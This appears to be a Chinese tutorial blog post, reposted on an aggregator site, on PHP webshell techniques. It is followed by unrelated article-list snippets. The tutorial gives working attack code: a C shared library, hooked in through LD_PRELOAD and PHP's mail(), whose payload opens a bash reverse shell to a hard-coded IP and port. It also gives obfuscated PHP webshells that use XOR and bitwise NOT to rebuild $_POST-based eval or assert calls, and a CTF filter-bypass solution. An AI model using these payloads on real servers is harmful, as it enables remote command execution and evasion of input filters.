Webshell实例分析解析

Webshell的实例分析

  • LD_PRELOAD的劫持
    • 在 web 环境中实现基于 LD_PRELOAD 的 RCE 命令执行
      • 利用 mail 函数启动新进程
  • 绕过
    • 不含字母和数字的Webshell
      • 异或
      • 取反

LD_PRELOAD的劫持

LD_PRELOADLinux/Unix系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

简单来说,就像js里面我们构造函数的原型里面定义了一种方法,但是我们在执行时,将方法进行了重新复制,那么原来的方法就被新的给覆盖了,原来的也就不起作用了。

在一些情况下,我们想要实现我们的一些隐秘的操作,就需要对我们的进程进行一些劫持操作,从而实现执行我们想要的操作。

在 web 环境中实现基于 LD_PRELOAD 的 RCE 命令执行

利用 mail 函数启动新进程

这里我们使用php来实现我们想要的效果。
首先我们需要搭建环境,nginx和php56 php56-fpm进行结合。

测试环境

[root@localhost html]# vim phpinfo.php

<?php
         phpinfo();
?>

然后在我的windows主机上查看一下。
在这里插入图片描述在虚拟机上也是可以查看的,但是因为我不是很熟悉,就不演示了。

进入正题,想要实现我们对进程的修改我们需要进行一些操作。
1、php需要启动一个新的进程
2、控制环境变量
其实也比较容易理解,想要劫持进程要先有进程,然后再通过控制变量实现我们的一些操作

较为简单的一个例子就是mail函数。
首先先看一下mail函数运行时,启动使用的各种动态链接库
在这里插入图片描述
这地下还有许多链接库,总共143个,我们不妨在里面挑选一个简单的来劫持。也就是在mail函数中,选择一个动态链接库来进行操作
在这里插入图片描述
getuid我们非常熟悉,就选它了。

然后我们就需要进行程序链接
首先我们新建一个.c结尾的文件

[root@localhost html]# vim hook_getuid.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/192.168.235.10/2333 0>&1'");
}

uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

这里的ip是指反弹的位置,这里我们使用自身去接
在这里插入图片描述
然后编译一下文件

[root@localhost html]# gcc -Wall -fPIC -shared -o hook_getuid.so hook_getuid.c

在这里插入图片描述
编译会出现警告,只要不报错,可以无视。
我们查看一下文件夹。
在这里插入图片描述
存在我们刚刚使用的两个文件里。
实现需要php文件我们再新建一个php文件,将.so加进去。

[root@localhost html]# vim web1.php

<?php
putenv('LD_PRELOAD=/var/www/html/hook_getuid.so');
mail("a@localhost","","","","");
?>

putenv是用来设置环境变量的,这可以在官方文档中查到,文档案例:

<?php
putenv("UNIQID=$uniqid");
?>

还要修改一下权限。

[root@localhost html]# chown -R aaa:aaa hook_getuid.so [root@localhost html]# chown -R aaa:aaa web1.php

然后上传一下。

[root@localhost html]# php web1.php

但是很遗憾我们执行之后,并没有显示我们监听到了内容。

绕过

不含字母和数字的Webshell

在wenshell中我们可以会遇到一些过滤情况,像使用正则过滤掉我们的数字和字母,这就需要我们另辟蹊径。

异或

我这里举一个简单的例子

<?php
    echo "A"^"`";
?>

上面的内容乍一看,让人摸不着头脑。这里就引申到PHP的关系运算符了。
上述代码运行出来的结果是!。这里就需要想到我们的ASCII了。

在ASCII中
A为65,二进制 1000001
`为96,二进制1100000,剩下的一个“^”表示的是异或的含义。拿着分析就简单了。
异或不同为真,也就剩下了0100001,十进制也就是33,33对应ASCII中的!。

如果上面可以理解,那我们升级一下。

<?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>

那我们就继续分析:
在PHP中,变量命名出来所谓的数字字母,还有一个下划线,这里我们就以下划线为变量,看一下运行结果。
首先是++,在PHP中未定义的变量默认值为null,nullfalse0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。也就是说“_=1”
然后就是异或了,经过ASCII转义,最后得出“__=B”,拿着就可以看出来了,分明显后面是调用函数,输出结果不言而喻,就是打印内容。

上面两道题看来,似乎不是很难。那就在来个升级版

<?php
    $_++; 
    $__=("#"^"|"); 
    $__.=("."^"~"); 
    $__.=("/"^"`"); 
    $__.=("|"^"/"); 
    $__.=("{"^"/"); 
    ${$__}[!$_](${$__}[$_]); 
?>

依然是很乱,但我们慢慢分析:
++得1,‘_=1’
异或操作,“__=_”,这里好像感觉多此一举,但是上面_已经复制,这里没有问题。
这里又多了一个点,也就是.=这个是拼接的意思。
我们取反拼接之后。“__=_POST”
那么最后就是这样的:
第一个$就是$,后面的{}意思就是“_POST”,后面的[],!取反操作,‘_=1’,那里面就是0,然后(),所以最后结果就是:
$_POST[0]($_POST[1]);

上面都可以理解,那接下来。

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

过滤了字母数字,可以写出解体方法了吧。

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag
$_GET[_]();&

取反

取反也和我们的异或多少有点相似,这里我们就以一道例题展示一下。

<?php
$__=('>'>'<')+('>'>'<'); //2
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

取反一般都比较复杂,显示第一行,大家就可能不理解()里面是一个比较,简单理解就是>的ASCII是否比<ASCII大,大就为真,就为1。利用了php的弱类型,true+true=2
第二行也就是2/2=1了。
后面令“____”为空,“___”为汉字,然后就是拼接了,取出汉字的第一个字符,取反,拼接进去“a”,以此类推
最后输出:assert(post[2])

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/83216.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

idea创建javaweb项目,jboss下没有web application

看看下图这个地方有没有web application

毫米波雷达成像论文阅读笔记: IEEE TPAMI 2023 | CoIR: Compressive Implicit Radar

原始笔记链接&#xff1a;https://mp.weixin.qq.com/s?__bizMzg4MjgxMjgyMg&mid2247486680&idx1&snedf41d4f95395d7294bc958ea68d3a68&chksmcf51be21f826373790bc6d79bcea6eb2cb3d09bb1860bba0af0fd5e60c448ca006976503e460#rd ↑ \uparrow ↑点击上述链接即…

在IDEA中创建properties配置文件

第一步&#xff1a;在 src路径下找到resources文件 第二步&#xff1a;右击选择新建Resource Bundle配置文件 第三步&#xff1a;为Resource Bundle配置文件命名 完成创建

ssm+vue校园美食交流系统源码

ssmvue校园美食交流系统源码和论文026 开发工具&#xff1a;idea 数据库mysql5.7 数据库链接工具&#xff1a;navcat,小海豚等 技术&#xff1a;ssm 摘 要 随着现在网络的快速发展&#xff0c;网上管理系统也逐渐快速发展起来&#xff0c;网上管理模式很快融入到了许多商…

【Mybatis源码分析】解析语句标签_Select|Update|Insert|Delete

解析语句标签 Select|Update|Insert|Delete 一、前言二、语句标签的源码分析三、sql 标签的解析四、总结 一、前言 在阐述解析语句标签之前&#xff0c;得先知道我们的语句标签内容最后被封装到Configuration哪&#xff1f;&#xff08;都应该知道 Mybatis 通过的是 XMLConfig…

Postman返回了一个html页面

问题记录 调用公司的测试环境接口&#xff0c;从浏览器控制台接口处cCopy as cURL(cmd)&#xff0c;获取完整的请求内容&#xff0c;然后导入postman发起请求 提测时发现返回一个html页面&#xff0c;明显是被请求在网管处被拦截了&#xff0c;网关返回的这个报错html页面 …

macOS(m1/m2)破解Sublime Text和Navicat16

破解Sublime Text 说明&#xff1a;全程使用的是终端操作 1. 下载Sublime Text&#xff0c;建议使用brew下载 2. 进入到下载的app的文件夹 cd "/Applications/Sublime Text.app/Contents/MacOS/"3. 执行以下操作以确认版本是否匹配 md5 -q sublime_text | grep -i…

STM32 CubeMX (第二步Freertos任务通信:队列、信号量、互斥量,事件组,任务通知)

STM32 CubeMX STM32 CubeMX ____Freertos任务通信&#xff1a;队列、信号量、互斥量&#xff0c;事件组&#xff0c;任务通知 STM32 CubeMX一、STM32 CubeMX设置时钟配置HAL时基选择TIM1&#xff08;不要选择滴答定时器&#xff1b;滴答定时器留给OS系统做时基&#xff09;使用…

MYSQL完全卸载、安装与账号创建、权限控制

一、卸载mysql CentOS 卸载 MySQL 1. 查看安装情况 使用以下命令查看当前安装mysql情况&#xff0c;查找以前是否装有mysql rpm -qa|grep -i mysql这里显示我安装的 MySQL 服务有有&#xff1a; 2. 停止 mysql 服务、删除之前安装的 mysql 删除命令&#xff1a;rpm -e –n…

Unity进阶–通过PhotonServer实现人物选择和多人同步–PhotonServer(四)

文章目录 Unity进阶–通过PhotonServer实现人物选择和多人同步–PhotonServer(四)服务端客户端 Unity进阶–通过PhotonServer实现人物选择和多人同步–PhotonServer(四) 服务端 服务端结构如下&#xff1a; UserModel using System; using System.Collections.Generic; usin…

学习笔记|基于Delay实现的LED闪烁|u16是什么|a--和--a的区别|STC32G单片机视频开发教程(冲哥)|第六集(上):实现LED闪烁

文章目录 摘要软件更新什么是闪烁Tips:u16是什么? 语法分析&#xff1a;验证代码Tips&#xff1a;a--和--a的区别&#xff08;--ms 的用法&#xff09;测试代码&#xff1a; 摘要 1.基于Delay实现的LED闪烁 2.函数的使用 3,新建文件&#xff0c;使用模块化编程 软件更新 打…

微信ipad协议

前言 微信协议就是基于微信IPad协议的智能控制系统&#xff0c;利用人工智能AI技术、云计算技术、虚拟技术、边缘计算技术、大数据技术&#xff0c; 打造出智能桌面系统RDS、 智能聊天系统ACS 、智能插 件系统PLUGIN 、云计算服务CCS 、 任务管理系统TM、设备管理服务DM、 应…

分布式链路追踪——Dapper, a Large-Scale Distributed Systems Tracing Infrastructure

要解决的问题 如何记录请求经过多个分布式服务的信息&#xff0c;以便分析问题所在&#xff1f;如何保证这些信息得到完整的追踪&#xff1f;如何尽可能不影响服务性能&#xff1f; 追踪 当用户请求到达前端A&#xff0c;将会发送rpc请求给中间层B、C&#xff1b;B可以立刻作…

HttpRunner接口自动化框架搭建,干货满满!

前言 除了前面讲述的unittest、pytest等等自动化框架外&#xff0c;HttpRunner也是当前流行自动化框架之一。 一、先简单来介绍下httprunner框架 1、它是面向HTTP协议的测试框架&#xff0c;独立于语言之外&#xff0c;无需编写代码脚本&#xff0c;只需要去维护yaml/json文…

Windows安装Go开发环境

Windows安装Go开发环境 一、Go语言下载地址 https://golang.google.cn/dl/ 二、设置工作空间GOPATH目录(Go语言开发的项目路径) 首先进入我的C盘&#xff08;你放到其他盘也行&#xff09;&#xff0c;新建一个文件夹&#xff0c;名字叫做mygo&#xff08;这个就是你的工作目…

通讯录的实现

> 作者简介&#xff1a;დ旧言~&#xff0c;目前大一&#xff0c;现在学习Java&#xff0c;c&#xff0c;c&#xff0c;Python等 > 座右铭&#xff1a;松树千年终是朽&#xff0c;槿花一日自为荣。 > 望小伙伴们点赞&#x1f44d;收藏✨加关注哟&#x1f495;&#x1…

LED电子显示屏信号传输方式

LED电子显示屏广泛应用在休闲文化广场、繁华商贸中心、商业街、火车站、地铁、商场、等场所。由于其应用领域的多样性、复杂性&#xff0c;对音视频信号传输的稳定、可靠、流畅性也提出了更高的要求。单屏播放&#xff0c;亦或是组网联播等场合下全彩LED显示屏的信号采用的传输…

独立站SEO是什么意思?自主网站SEO的含义?

什么是独立站SEO优化&#xff1f;自建站搜索引擎优化是指什么&#xff1f; 独立站SEO&#xff0c;作为网络营销的重要一环&#xff0c;正在逐渐引起人们的关注。在当今数字化时代&#xff0c;独立站已经成为许多企业、个人宣传推广的首选平台之一。那么&#xff0c;究竟什么是…

C++对象模型实验(clang虚函数表结构)

摘要&#xff1a;本科期间有对比过msvc&#xff0c;gcc&#xff0c;clang的内存布局&#xff0c;距今已经6-7年了&#xff0c;当时还是使用的c11。时间过得比较久了&#xff0c;这部分内容特别是内存对齐似乎C17发生了一些变化&#xff0c;因此再实践下C类模型。本文描述了C不同…

docker优点简介和yum方式安装

一.docker简介 二.docker的优点 1.交付和部署速度快 2.高效虚拟化 3.迁移性和扩展性强 4.管理简单 三.docker的基本概念 1.镜像 2.容器 3.仓库 四.docker的安装部署 &#xff08;1&#xff09;点击容器 ​&#xff08;2&#xff09;选择docker-ce&#xff0c;根据相…